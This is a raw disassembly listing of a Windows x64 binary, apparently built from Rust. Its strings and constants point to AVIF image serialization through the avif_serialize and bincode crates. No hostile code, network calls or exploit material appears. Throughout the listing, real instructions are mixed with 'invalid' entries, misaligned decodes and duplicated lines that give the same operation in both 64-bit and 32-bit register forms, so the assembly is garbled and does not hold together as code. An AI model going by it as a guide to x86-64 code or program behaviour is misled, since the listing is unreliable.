mov r8d, 0x220
mov rcx, rdi
mov rdx, rbx
call sub.VCRUNTIME140.dll_memcpy
lea r12, [rbp + 0x1c8]
mov r8d, 0x220
mov rcx, r12
mov rdx, rdi
call sub.VCRUNTIME140.dll_memcpy
lea r14, [rbp - 0x58]
mov r8d, 0x220
mov rcx, r14
mov rdx, r12
call sub.VCRUNTIME140.dll_memcpy
lea r13, [rbp + 0xf80]
lea r12, [rbp + 0x8e0]
mov qword [rbp + 0xf80], r15
mov qword [rbp + 0xf88], rsi
mov r8d, 0x220
lea rcx, [rbp + 0xf90]
mov rdx, r14
call sub.VCRUNTIME140.dll_memcpy
mov rcx, rdi
mov rdx, r13
call fcn.140009848
cmp qword [rbp + 0x1230], 0
mov r15, qword [rbp + 0x1238]
je 0x140019b2a
mov rsi, qword [rbp + 0x1240]
cmp r15, 2
je 0x140019c07
mov r8d, 0x220
mov rcx, r13
lea rdx, [rbp + 0x1248]
call sub.VCRUNTIME140.dll_memcpy
mov r8d, 0x220
mov rcx, r12
mov rdx, r13
call sub.VCRUNTIME140.dll_memcpy
mov r8d, 0x220
mov rcx, rdi
mov rdx, r12
call sub.VCRUNTIME140.dll_memcpy
mov r8d, 0x220
mov rcx, rbx
mov rdx, rdi
call sub.VCRUNTIME140.dll_memcpy
mov r8d, 0x220
mov rcx, r14
mov rdx, rbx
call sub.VCRUNTIME140.dll_memcpy
jmp 0x140019a2a
lea rdi, [rbp + 0x1c8]
lea rdx, [rbp + 0xb00]
mov r8d, 0x220
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbp + 0xf80]
mov r8d, 0x220
mov rdx, rdi
jmp 0x140019b72
lea rdx, [rbp + 0x1248]
lea rcx, [rbp + 0x8e0]
mov r8d, 0x220
call sub.VCRUNTIME140.dll_memcpy
xor edi, edi
jmp 0x140019985
lea rdx, [rbp + 0x1248]
mov rsi, qword [rdx - 8]
lea rdi, [rbp + 0x8e0]
mov r8d, 0x220
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
lea rbx, [rbp + 0xb00]
mov r8d, 0x220
mov rcx, rbx
mov rdx, rdi
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbp + 0xf80]
mov r8d, 0x220
mov rdx, rbx
call sub.VCRUNTIME140.dll_memcpy
mov byte [rbp + 0x1657], 0
lea rcx, [rbp + 0x15a8]
call fcn.14001c879
cmp r15, 2
je 0x1400193aa
lea rdi, [rbp + 0x1240]
lea rdx, [rbp + 0xf80]
mov r8d, 0x220
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
mov qword [rdi - 0x10], r15
mov qword [rdi - 8], rsi
push 8
pop rdx
mov ecx, 0x230
call fcn.140008d89
mov rsi, rax
lea rdx, [rbp + 0x1230]
mov r8d, 0x230
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
mov rax, qword [rbp + 0x1628]
mov qword [rax], 4
mov qword [rax + 8], rsi
mov byte [rbp + 0x165c], 0
lea rcx, [rbp + 0x1200]
call fcn.14001c81c
jmp 0x140018d36
lea rcx, [rbp + 0x8e0]
lea rdx, [rbp + 0xf80]
mov r8d, 0x220
call sub.VCRUNTIME140.dll_memcpy
lea rcx, [rbp + 0xb00]
lea rdx, [rbp + 0x1230]
mov r8d, 0x220
call sub.VCRUNTIME140.dll_memcpy
mov rcx, rsi
call fcn.140015d51
jmp 0x140019394
movabs rbx, 0x2600000003
jmp 0x140018f75
lea rax, [0x140289ae0]
mov qword [rsp + 0x20], rax
lea rcx, str.a_Display_implementation_returned_an_error_unexpectedly_rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrary_alloc_src_string.rs
lea r9, fcn.140009390
push 0x37
pop rdx
lea r8, [rbp + 0x8e0]
call fcn.1401c7200
jmp 0x140019d0c
lea r8, str._rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrarycore_srcio_borrowed_buf.rs
mov rcx, rsi
call fcn.1401c7190
jmp 0x140019d0c
lea rax, str._rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrarycore_srcio_borrowed_buf.rs
mov rcx, rdx
mov rdx, r8
mov r8, rax
call fcn.1401c6f20
jmp 0x140019d0c
lea r8, str._rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrarycore_srcio_borrowed_buf.rs
mov rcx, rdx
mov rdx, rax
call fcn.1401c6f20
jmp 0x140019d0c
lea r8, str._rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrarycore_srcio_borrowed_buf.rs
call fcn.1401c7190
jmp 0x140019d0c
mov rdx, qword [rbp + 0x1240]
mov byte [rbp + 0x165c], 1
mov rcx, qword [rbp + 0x1630]
call fcn.1401c66e0
jmp 0x140019d0c
lea r8, str._rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrarycore_srcio_borrowed_buf.rs
mov rcx, r9
call fcn.1401c6f20
jmp 0x140019d0c
lea r8, str._rustc_1fffb2a355dfee65bf6aa5a9db35f33d3ee93aeclibrarycore_srcio_borrowed_buf.rs
mov rcx, rax
mov rdx, r9
call fcn.1401c7190
ud2
mov rcx, qword [rcx + 0x10]
call qword [sym.imp.kernel32.dll_CloseHandle]
cmc
or bl, byte [rbx]
invalid
cmc
or bl, byte [rbx]
add byte [rax - 0x75], cl
mov rsi, qword [rbp - 8]
mov rsi, qword [rbp - 8]
mov rcx, rsi
call fcn.14006045e
add rsi, 8
add esi, 8
mov rcx, rsi
add rsp, 0x38
pop rsi
pop rbp
jmp fcn.140151046
pop rbp
adc r8d, dword [rax]
invalid
pop rbp
adc r8d, dword [rax]
add byte [rax - 0x77], cl
push rsp
and al, 0x10
push rsp
and al, 0x10
push rbp
push rsi
sub rsp, 0x28
lea rbp, [rdx + 0x30]
mov rsi, qword [rbp - 8]
mov rcx, rsi
call fcn.14006045e
cmp al, byte [rax + rax]
add rsi, 8
mov rcx, rsi
call fcn.140151046
nop
add rsp, 0x28
pop rsi
pop rbp
ret
lea rdx, [0x14028b53c]
add byte [rax + 0x63], cl
add al, 0x82
invalid
movsxd rax, dword [rdx + rax*4]
invalid
add rax, rdx
jmp rax
cmp byte [rcx + 0x10], 0x23
jmp 0x14001ca4c
xor eax, eax
jmp 0x14001ca4f
shr bl, 0x14
shr rcx, 0x20
call fcn.140006d19
cmp al, 0x23
jmp 0x14001ca4c
cmp byte [rcx + 0xf], 0x23
sete al
add rsp, 0x28
ret
imul edx, ecx, 0x1a
test rcx, rcx
cmove rdx, rcx
ror dword [rcx + 1], 1
fimul word [rcx + 1]
invalid
ror dword [rcx + 1], 1
fimul word [rcx + 1]
invalid
add r14, rdi
lea rax, [rdx + r14]
add rax, 0x53
add eax, 0x53
add eax, 0x53
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
ret
and ecx, dword [rax + 0x6b]
rcr byte [rax], 1
xor r8d, r8d
xor eax, eax
mov r9, qword [rcx + r8 + 8]
add rax, r9
add eax, ecx
add eax, ecx
add rax, 0x15
add r8, 0x18
add eax, 0x18
add eax, 0x18
cmp rdx, r8
jne 0x14001d47a
add rax, 0xe
ret
pop rcx
imul rdx, rax, 0x18
xor r8d, r8d
lea r9, [0x14028b54c]
xor eax, eax
rol byte [rsi + 0xf], 0xb6
adc al, 1
movzx r10d, byte [rcx + r8]
movsxd r10, dword [r9 + r10*4]
adc al, 0x91
add r10, r9
jmp r10
invalid
loop 0x14001d506
mov r10d, 0xc
mov edx, 0xc
jmp 0x14001d4ed
mov r10d, 0x13
jmp 0x14001d4ed
invalid
mov r10d, 0x14
jmp 0x14001d4ed
mov r10, qword [rcx + r8 + 0x10]
jmp 0x14001d4e9
movzx r10d, byte [rcx + r8 + 2]
add r10, 0xd
add rax, r10
add r8, 0x18
cmp rdx, r8
jne 0x14001d4b5
add rax, 8
ret
and byte [rax - 0x7b], cl
sal byte [rdx + riz + 0x48], cl
shl edx, 4
xor r8d, r8d
xor eax, eax
mov r9d, dword [rcx + r8]
add rax, r9
add rax, 3
add r8, 0x10
cmp rdx, r8
jne 0x14001d515
add rax, 0x10
ret
loopne 0x14001e73c
add byte [rax], al
add byte [rcx + rcx*4 - 7], cl
mov rcx, r15
call fcn.14001d49a
mov rdx, qword [rdi - 8]
mov r8, qword [rdi + 8]
test rdx, rdx
cmovne rdx, rdi
lea rcx, [rbp + 0x4c0]
mov qword [rcx + 0x18], rdx
push rcx
sbb byte [rax - 0x39], cl
add dword [rcx], eax
add byte [rax], al
invalid
push rcx
sbb byte [rax - 0x39], cl
add dword [rcx], eax
add byte [rax], al
add byte [rax - 0x77], cl
mov qword [rcx + 8], rax
mov qword [rcx + 0x10], r8
mov byte [rbp + 0x5ff], 1
mov edx, 0x6f637069
outsd dx, dword [rsi]
invalid
or esi, ebp
invalid
mov qword [rcx + 8], rax
mov qword [rcx + 0x10], r8
mov byte [rbp + 0x5ff], 1
mov edx, 0x6f637069
outsd dx, dword [rsi]
call fcn.14001d588
mov eax, dword [rbp + 0xe8]
imul rax, rax, 0x18
add rax, r15
mov qword [rbp + 0x2d8], rax
lea r12, [rbp + 0x5cd]
add byte [rax - 0x73], cl
mov ebp, 0x5cc
add byte [rax - 0x73], cl
mov ebp, 0x5cc
cmp r15, qword [rbp + 0x2d8]
je case.default.0x14001e7cb
test dh, cl
add al, 0
invalid
lea rax, [r15 + 0x18]
mov qword [rbp + 0x5f0], rax
movzx eax, byte [r15]
lea rcx, [0x14028b560]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov rax, qword [rbp + 0x4c0]
mov rcx, qword [rbp + 0x4d0]
test rax, rax
lea rdx, [rbp + 0x4c8]
cmovne rax, rdx
mov qword [rbp + 0x300], rax
mov qword [rbp + 0x2e8], 1
mov qword [rbp + 0x2f0], 0xc
test eax, esi
add al, byte [rax]
add byte [rax + rax], cl
add byte [rax], al
mov qword [rbp + 0x2f8], rcx
mov byte [rbp + 0x5ff], 1
test edi, edi
add eax, 0x48010000
lea ecx, [rbp + 0x2e8]
mov edx, 0x43317661
call fcn.14001d588
mov al, byte [r15 + 1]
mov cl, byte [r15 + 2]
shl al, 7
loopne 0x14001e837
xor dword [rbx - 0x18], eax
invalid
shl cl, 6
or cl, al
mov al, byte [r15 + 3]
shl al, 5
or al, cl
mov cl, byte [r15 + 4]
shl cl, 4
or cl, al
mov al, byte [r15 + 5]
shl al, 3
or al, cl
mov cl, byte [r15 + 6]
shl cl, 2
or cl, al
or cl, byte [r15 + 9]
mov al, byte [r15 + 7]
mov al, byte [rdi + 7]
shl al, 5
or al, byte [r15 + 8]
mov byte [rbp + 0x5cc], 0x81
or dword [rax + 0x5cd85], 0xce8d8800
add eax, 0x85c60000
iretd
add eax, 0x48000000
cmp dword [rbp + 0x2e8], 0
add eax, 0x48000000
cmp dword [rbp + 0x2e8], 0
je 0x14001f05d
mov rcx, qword [rbp + 0x2f8]
mov byte [rbp + 0x5ff], 1
invalid
mov rdx, rdi
lea r8, [rbp + 0x5d0]
call fcn.14001cfdc
jmp 0x14001eb8f
mov rax, qword [rbp + 0x4c0]
mov rcx, qword [rbp + 0x4d0]
test rax, rax
lea rdx, [rbp + 0x4c8]
cmovne rax, rdx
mov qword [rbp + 0x300], rax
mov qword [rbp + 0x2e8], 1
add al, byte [rax]
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x39], cl
mov dword [rbp + 0x2f0], 0x13
mov qword [rbp + 0x2f8], rcx
mov byte [rbp + 0x5ff], 1
lea rcx, [rbp + 0x2e8]
mov edx, 0x726c6f63
call fcn.14001d588
mov dword [rbp + 0x5cc], 0x786c636e
cmp qword [rbp + 0x2e8], 0
je 0x14001effd
mov r14, qword [rbp + 0x2f8]
mov byte [rbp + 0x5ff], 1
mov rcx, r14
mov rdx, rdi
cli
lea r8, [rbp + 0x5d0]
call fcn.14001cfdc
movzx eax, byte [r15 + 3]
add r8d, r9d
loopne 0x14001e952
mov word [rbp + 0x5cc], ax
mov byte [rbp + 0x5ff], 1
add byte [rax], al
add dword [rcx + rcx*4 - 0xf], ecx
add byte [rax], al
add dword [rcx + rcx*4 - 0xf], ecx
mov rdx, rdi
lea r8, [rbp + 0x5ce]
call fcn.14001cfdc
movzx eax, byte [r15 + 4]
shl eax, 8
mov word [rbp + 0x5cc], ax
mov byte [rbp + 0x5ff], 1
mov rcx, r14
mov rdx, rdi
lea r8, [rbp + 0x5ce]
call fcn.14001cfdc
movzx eax, byte [r15 + 2]
add r8b, r9b
loopne 0x14001e9a2
mov word [rbp + 0x5cc], ax
mov byte [rbp + 0x5ff], 1
add byte [rax], al
add dword [rcx + rcx*4 - 0xf], ecx
mov rdx, rdi
lea r8, [rbp + 0x5ce]
lea eax, [rbp + 0x5ce]
call fcn.14001cfdc
cmp byte [r15 + 1], 0
add dword [rax], eax
setne al
shl al, 7
mov byte [rbp + 0x5cc], al
mov byte [rbp + 0x5ff], 1
mov rcx, r14
mov rdx, rdi
lea r8, [rbp + 0x5cd]
call fcn.14001cfdc
jmp 0x14001eb8f
mov rax, qword [rbp + 0x4c0]
mov rcx, qword [rbp + 0x4d0]
test rax, rax
lea rdx, [rbp + 0x4c8]
cmovne rax, rdx
mov qword [rbp + 0x300], rax
mov qword [rbp + 0x2e8], 1
add byte [rax], al
add dword [rax], eax
add byte [rax], al
mov qword [rbp + 0x2f0], 0x14
mov qword [rbp + 0x2f8], rcx
mov byte [rbp + 0x5ff], 1
lea rcx, [rbp + 0x2e8]
lea ecx, [rbp + 0x2e8]
lea ecx, [rbp + 0x2e8]
mov edx, 0x65707369
call fcn.14001d588
and dword [rbp + 0x5cc], 0
cmp qword [rbp + 0x2e8], 0
add byte [rdi], cl
test bh, dl
invalid
add byte [rax], al
invalid
add byte [rbx + rcx*4 - 0x4b], cl
clc
mov r14, qword [rbp + 0x2f8]
mov byte [rbp + 0x5ff], 1
mov rcx, r14
add al, byte [rax]
add dh, al
test edi, edi
add eax, 0x4c010000
mov ecx, esi
mov rdx, rdi
lea r8, [rbp + 0x5d0]
call fcn.14001cfdc
mov eax, dword [r15 + 4]
bswap eax
mov dword [rbp + 0x5cc], eax
add dh, al
test edi, edi
add eax, 0x4c010000
mov ecx, esi
mov rdx, rdi
lea r8, [rbp + 0x5d0]
test eax, edx
add eax, 0x41e80000
in eax, 0xff
inc dword [rcx - 0x75]
or byte [r15], r9b
invalid
test eax, edx
add eax, 0x41e80000
in eax, 0xff
inc dword [rcx - 0x75]
or byte [r15], r9b
enter 0xffffffffffff8589, 0xffffffffffffffcc
mov dword [rbp + 0x5cc], eax
mov byte [rbp + 0x5ff], 1
mov rcx, r14
mov dword [rbp + 0x5cc], eax
mov byte [rbp + 0x5ff], 1
mov rcx, r14
mov rdx, rdi
lea r8, [rbp + 0x5d0]
call fcn.14001cfdc
jmp 0x14001eb8f
mov r14, qword [r15 + 0x10]
lea rax, [r14 + 0xd]
mov rcx, qword [rbp + 0x4c0]
mov rdx, qword [rbp + 0x4d0]
test rcx, rcx
lea r8, [rbp + 0x4c8]
cmovne rcx, r8
enter 0xffffffffffff8948, 0xffffffffffffff8d
add byte [rbx], al
add byte [rax], al
mov qword [rbp + 0x2e8], 1
mov qword [rbp + 0x2f0], rax
mov qword [rbp + 0x2f8], rdx
add byte [rax], al
add byte [rax], al
mov byte [rbp + 0x5ff], 1
lea rcx, [rbp + 0x2e8]
mov edx, 0x43787561
call fcn.14001d588
and dword [rbp + 0x5cc], 0
cmp qword [rbp + 0x2e8], 0
call 0x14001eb32
call 0x14001eb32
je 0x14001f015
mov r13, qword [rbp + 0x2f8]
mov byte [rbp + 0x5ff], 1
mov rcx, r13
mov rdx, rdi
lea r8, [rbp + 0x5d0]
call fcn.14001cfdc
mov rdx, qword [r15 + 8]
mov edx, dword [rdi + 8]
add r14, rdx
mov byte [rbp + 0x5ff], 1
mov rcx, r13
mov r8, r14
call fcn.14001cfdc
mov byte [rbp + 0x5cc], 0
mov byte [rbp + 0x5ff], 1
test edi, edi
add eax, 0x4c010000
mov ecx, ebp
mov rdx, rdi
lea r8, [rbp + 0x5cd]
add eax, 0x4de80000
in al, 0xff
invalid
add eax, 0x4de80000
in al, 0xff
dec dword [rbx + rcx*4 - 0x43]
invalid
mov r15, qword [rbp + 0x5f0]
jmp 0x14001e7a1
movzx r13d, byte [r15 + 2]
lea rax, [r13 + 0xd]
mov rcx, qword [rbp + 0x4c0]
mov rdx, qword [rbp + 0x4d0]
test rcx, rcx
lea r8, [rbp + 0x4c8]
cmovne rcx, r8
mov qword [rbp + 0x300], rcx
mov qword [rbp + 0x2e8], 1
mov qword [rbp + 0x2f0], rax
mov qword [rbp + 0x2f8], rdx
mov byte [rbp + 0x5ff], 1
lea rcx, [rbp + 0x2e8]
mov edx, 0x69786970
call fcn.14001d588
and dword [rbp + 0x5cc], 0
cmp qword [rbp + 0x2e8], 0
je 0x14001f045
mov r14, qword [rbp + 0x2f8]
mov byte [rbp + 0x5ff], 1
mov rcx, r14
mov rdx, rdi
lea r8, [rbp + 0x5d0]
call fcn.14001cfdc
mov byte [rbp + 0x5cc], r13b
mov byte [rbp + 0x5ff], 1
mov rcx, r14
mov rdx, rdi
lea r8, [rbp + 0x5cd]
call fcn.14001cfdc
mov r15b, byte [r15 + 1]
xor ebx, ebx
cmp bl, r13b
je 0x14001eb8f
mov byte [rbp + 0x5cc], r15b
mov byte [rbp + 0x5ff], 1
mov rcx, r14
mov rdx, rdi
mov r8, r12
call fcn.14001cfdc
inc bl
jmp 0x14001ec53
mov rcx, rsi
call fcn.14001d504
mov rcx, qword [rbp + 0x1d8]
mov rdx, qword [rbp + 0x1e8]
test rcx, rcx
lea r8, [rbp + 0x1e0]
cmove r8, rcx
lea rcx, [rbp + 0x2e8]
mov qword [rcx + 0x18], r8
mov qword [rcx], 1
mov qword [rcx + 8], rax
mov qword [rcx + 0x10], rdx
mov byte [rbp + 0x5ff], 1
mov edx, 0x616d7069
call fcn.14001d588
and dword [rbp + 0x4c0], 0
cmp qword [rbp + 0x2e8], 0
je 0x14001f0f9
mov rdi, qword [rbp + 0x2f8]
lea r8, [rbp + 0x4c4]
mov byte [rbp + 0x5ff], 1
lea rdx, [rbp + 0x4c0]
mov rcx, rdi
call fcn.14001cfdc
mov r13d, dword [rbp + 0x110]
mov eax, r13d
bswap eax
lea r8, [rbp + 0x4c4]
mov dword [r8 - 4], eax
mov byte [rbp + 0x5ff], 1
lea rdx, [rbp + 0x4c0]
mov rcx, rdi
call fcn.14001cfdc
shl r13, 4
add r13, rsi
lea r15, [rbp + 0x4c1]
lea r12, [rbp + 0x4c0]
cmp rsi, r13
je 0x14001edd8
movzx eax, word [rsi + 0xc]
rol ax, 8
mov word [rbp + 0x4c0], ax
mov byte [rbp + 0x5ff], 1
mov rcx, rdi
mov rdx, r12
lea r8, [rbp + 0x4c2]
call fcn.14001cfdc
mov r14d, dword [rsi]
mov byte [rbp + 0x4c0], r14b
mov byte [rbp + 0x5ff], 1
mov rcx, rdi
mov rdx, r12
lea r8, [rbp + 0x4c1]
call fcn.14001cfdc
lea rbx, [rsi + 0x10]
add r14, rsi
add r14, 4
add rsi, 4
cmp rsi, r14
je 0x14001edd0
mov al, byte [rsi]
mov byte [rbp + 0x4c0], al
mov byte [rbp + 0x5ff], 1
mov rcx, rdi
mov rdx, r12
mov r8, r15
call fcn.14001cfdc
inc rsi
jmp 0x14001eda9
mov rsi, rbx
jmp 0x14001ed46
mov rdx, qword [rbp + 0x290]
mov r8, qword [rbp + 0x298]
add r8, rdx
mov byte [rbp + 0x5ff], 1
lea rcx, [rbp + 0x5a8]
call fcn.14001cfdc
mov rcx, qword [rbp + 0x288]
mov rdx, qword [rbp + 0x290]
call fcn.14006095a
mov eax, dword [rbp + 0x170]
mov rsi, rax
shl rsi, 4
test rax, rax
je 0x14001ee97
xor eax, eax
xor edi, edi
add rdi, qword [rbp + rax + 0x138]
add rax, 0x10
cmp rsi, rax
jne 0x14001ee25
add rdi, 8
mov dword [rbp + 0x4c0], 0x7461646d
mov rax, rdi
shr rax, 0x20
je 0x14001eea4
lea rdx, [rbp + 0x2e8]
mov dword [rdx], 0x1000000
mov byte [rbp + 0x5ff], 0
lea rcx, [rbp + 0x5a8]
push 4
pop r8
call fcn.14001d580
bswap rdi
lea rdx, [rbp + 0x2e8]
mov qword [rdx], rdi
mov byte [rbp + 0x5ff], 0
lea rcx, [rbp + 0x5a8]
push 8
pop r8
call fcn.14001d580
jmp 0x14001eec6
mov dword [rbp + 0x4c0], 0x7461646d
push 8
pop rdi
bswap edi
lea rdx, [rbp + 0x2e8]
mov dword [rdx], edi
mov byte [rbp + 0x5ff], 0
lea rcx, [rbp + 0x5a8]
push 4
pop r8
call fcn.14001d580
mov byte [rbp + 0x5ff], 0
lea rcx, [rbp + 0x5a8]
lea rdx, [rbp + 0x4c0]
push 4
pop r8
call fcn.14001d580
lea rdi, [rsi + rbp]
add rdi, 0x130
lea rsi, [rbp + 0x5a8]
lea rax, [rbp + 0x130]
cmp rax, rdi
je 0x14001ef24
mov rdx, qword [rax]
mov rbx, rax
mov r8, qword [rax + 8]
mov byte [rbp + 0x5ff], 0
mov rcx, rsi
call fcn.14001d580
mov rax, rbx
add rax, 0x10
jmp 0x14001eefd
lea rcx, [rbp - 0x50]
call fcn.14001d655
mov rax, qword [rbp + 0x5b8]
mov rcx, qword [rbp + 0x2e0]
mov qword [rcx + 0x10], rax
movups xmm0, xmmword [rbp + 0x5a8]
movups xmmword [rcx], xmm0
add rsp, 0x688
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov byte [rbp + 0x5ff], 1
lea rcx, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_avif_serialize_0.8.1_srcwriter.rs
call fcn.1401c7290
jmp 0x14001f137
mov byte [rbp + 0x5ff], 1
lea rcx, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_avif_serialize_0.8.1_srcwriter.rs
call fcn.1401c7290
jmp 0x14001f137
mov byte [rbp + 0x5ff], 1
lea rcx, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_avif_serialize_0.8.1_srcwriter.rs
call fcn.1401c7290
jmp 0x14001f137
mov byte [rbp + 0x5ff], 1
lea rcx, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_avif_serialize_0.8.1_srcwriter.rs
call fcn.1401c7290
jmp 0x14001f137
mov byte [rbp + 0x5ff], 1
lea rcx, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_avif_serialize_0.8.1_srcwriter.rs
call fcn.1401c7290
jmp 0x14001f137
mov byte [rbp + 0x5ff], 1
lea rcx, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_avif_serialize_0.8.1_srcwriter.rs
call fcn.1401c7290
jmp 0x14001f137
ud2
push 8
pop r8
cmovb r8, rcx
ror dword [rcx - 0x73], 0x48
invalid
dec dword [rax - 0x7d]
stc
invalid
cmp rcx, 7
jae 0x14001f37d
add rsp, 0x20
pop rdi
pop rsi
pop rbp
ret
mov rdx, r8
test r8, r8
jne 0x14001f3c6
mov rax, qword [rbp - 0x10]
invalid
mov rdi, qword [rax + 8]
mov edi, dword [rax + 8]
mov eax, edi
and eax, 3
lea rcx, [rax - 2]
cmp rcx, 2
stc
add dh, byte [rdx - 0x27]
jb 0x14001f375
jb 0x14001f375
test rax, rax
je 0x14001f375
invalid
invalid
lea rsi, [rdi - 1]
mov rcx, qword [rdi - 1]
mov ecx, dword [rdi - 1]
mov rax, qword [rdi + 7]
call qword [rax]
adc byte [rax - 0x75], cl
invalid
invalid
adc byte [rax - 0x75], cl
dec qword [r8 - 0x75]
dec dword [rax - 0x75]
mov rdx, qword [rdi + 7]
mov edx, dword [rdi + 7]
push rdi
invalid
call fcn.1400328e1
mov rcx, rsi
call fcn.14003cc4d
add dword [rax], eax
add bl, ch
scasd eax, dword [rdi]
jmp 0x14001f375
test rax, rax
je 0x14001f375
stosb byte [rdi], al
stosb byte [rdi], al
mov rax, qword [rbp - 0x10]
invalid
mov rcx, qword [rax + 8]
mov ecx, dword [rax + 8]
push 1
pop rdx
call fcn.140001b50
invalid
invalid
invalid
jmp 0x14001f375
cwde
invalid
cwde
sub rsp, 0x28
sub esp, 0x28
movabs rax, 0x8000000000000000
xor rax, qword [rcx]
xor eax, dword [rcx]
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
or byte [rax + 0x33], 1
cmp rax, 8
add byte [rax], al
add byte [rax], al
or byte [rax + 0x33], 1
cmp rax, 8
mov edx, 8
add byte [rax], al
add byte [rax + 0xf], cl
ror byte [rax - 0x73], 1
ror byte [rax - 0x73], 1
cmovb rdx, rax
cmovb edx, eax
lea rax, [0x14028b574]
lea eax, [0x14028b574]
add eax, 0x26c172
movsxd rdx, dword [rax + rdx*4]
add rdx, rax
jmp rdx
invalid
loop 0x14001f454
add rcx, 8
add ecx, 8
call case.0x140195cb0.110
sub al, 0x81
invalid
jmp 0x14001f480
lea rax, [0x1401d0cff]
add eax, 0x1b18e2
mov edx, 0x19
sbb dword [rax], eax
add byte [rax], al
jmp 0x14001f480
lea rax, [0x1401d0cd0]
add eax, 0x1b18a5
mov edx, 0x1e
invalid
jmp 0x14001f480
lea rax, [0x1401d0cee]
add eax, 0x1b18b5
mov edx, 0x11
adc dword [rax], eax
add byte [rax], al
jmp 0x14001f480
lea rax, [0x1401d0d73]
add eax, 0x1b192c
mov edx, 0x52
jmp 0x14001f480
push rdx
add byte [rax], al
add bl, ch
xor cl, byte [rax - 0x73]
invalid
invalid
lea rax, str.string_is_not_valid_utf8invalid_u8_while_decoding_boolchar_is_not_validtag_for_enum_is_not_validBincode_doesnt_support_serde::Deserializer::deserialize_anythe_size_limit_has_been_reachedBincode_can_only_encode_sequences_and_maps_that_have_a_knowable_size_ahead_of_timeio_error:
add eax, 0x1b1863
add byte [rdx + 0x18], bh
mov edx, 0x18
sbb byte [rax], al
add byte [rax], al
jmp 0x14001f480
lea rax, [0x1401d0d18]
mov edx, 0x3c
cmp al, 0
add byte [rax], al
cmp al, 0
add byte [rax], al
jmp 0x14001f480
lea rax, [0x1401d0d54]
mov edx, 0x1f
jmp 0x14001f480
mov rax, qword [rcx + 8]
mov rdx, qword [rcx + 0x10]
add rsp, 0x28
ret
call 0x13ffe68ef
call qword [rax + 0x20c48348]
pop rdi
pop rsi
pop rbp
ret
mov edx, dword [rbp - 0x10]
call fcn.140022a55
nop
invalid
add rsp, 0x20
add esp, 0x20
pop rdi
pop rsi
pop rbp
ret
mov dword [rcx + 8], eax
mov qword [rcx + 0x10], r9
mov dword [rcx + 0x10], ecx
and qword [rcx + 0x18], 0
and dword [rcx + 0x18], 0
lea rcx, case.0x14000e34e.67
jb 0x14002302a
ficomp word [rdx]
add byte [rax - 0x77], cl
invalid
sbb al, byte [rax]
mov qword [rax], rcx
mov dword [rax], ecx
or bl, al
ret
push rsi
sub rsp, 0x20
sub esp, 0x20
mov rdx, r8
mov rsi, rcx
mov esi, ecx
mov esi, ecx
mov r8, r9
call fcn.140022bda
sti
invalid
invalid
enter 0x75e8, 0xfffffffffffffffb
sti
invalid
mov rax, rsi
invalid
add rsp, 0x20
pop rsi
ret
and byte [rsi - 0x3d], bl
xor eax, eax
invalid
rol bl, 0x48
ret
mov eax, ecx
enter 0xffffffffffff8b48, 0x49
mov rcx, qword [rcx + 0x18]
sbb dh, dh
test cl, 1
rol dword [rcx], 0xf
test byte [rax + 0x48fffffd], ch
invalid
invalid
invalid
je fcn.140022e29
invalid
shr rcx, 5
shr ecx, 5
jmp 0x1508d788d
mov rdx, qword [rax]
mov edx, dword [rax]
adc byte [rax + 0x29], cl
retf 0x348
invalid
invalid
sub rdx, rcx
add rcx, qword [rax + 0x10]
jmp fcn.140022c40
lodsb al, byte [rsi]
sti
invalid
dec dword [rdi]
mov dh, 1
add dword [rbx - 0x77cfd38], eax
or eax, 2
cmp eax, 3
clc
add esi, dword [rbp + 0x10]
clc
add esi, dword [rbp + 0x10]
cmp qword [rcx + 0x10], 0
add byte [rcx + rcx + 0x48], dh
je case.0x140017b31.45
mov rcx, qword [rcx + 8]
mov ecx, dword [rcx + 8]
or cl, ch
jmp fcn.140022c4e
lahf
sti
invalid
ret
sub esp, 0x28
mov rsi, rcx
mov esi, ecx
mov bl, byte [rdx]
sbb cl, byte [rdi]
mov dh, 0xc3
movzx eax, bl
lea rcx, [0x14028b598]
lea ecx, [0x14028b598]
add byte es:[rax + 0x63], cl
add byte [rax + 0x63], cl
movsxd rax, dword [rcx + rax*4]
add al, 0x81
or dword [rax + 1], 0xfe0ffc8
add rax, rcx
jmp rax
enter 0xffffffffffffe0ff, 0xf
movups xmm0, xmmword [rdx + 8]
adc byte [rdx + 8], al
movups xmmword [rsi + 8], xmm0
adc dword [rsi + 8], eax
jmp case.0x140039166.6
xchg ebp, eax
add byte [rax], al
add byte [rax - 0x75], cl
mov rcx, qword [rdx + 8]
mov rdx, qword [rdx + 0x10]
invalid
mov rcx, qword [rdx + 8]
mov rdx, qword [rdx + 0x10]
call fcn.1400035f0
mov qword [rsi + 8], rax
or byte [rax - 0x77], cl
push rsi
adc bl, ch
invalid
or byte [0xc94b30e8], al
add eax, 0x8948fffe
dec dword [rax - 0x77]
or byte [rax - 0x77], r9b
or byte [rax - 0x77], cl
push rsi
adc bl, ch
jle 0x140023102
invalid
movzx eax, word [rdx + 1]
mov word [rsi + 1], ax
mov dword [rsi + 1], eax
mov bh, 0x42
add dword [rsi - 0x77], esp
mov dword [rsi + 1], eax
add ebx, r13d
jmp case.0x140039166.6
je case.0x14001155f.55
mov al, byte [rdx + 1]
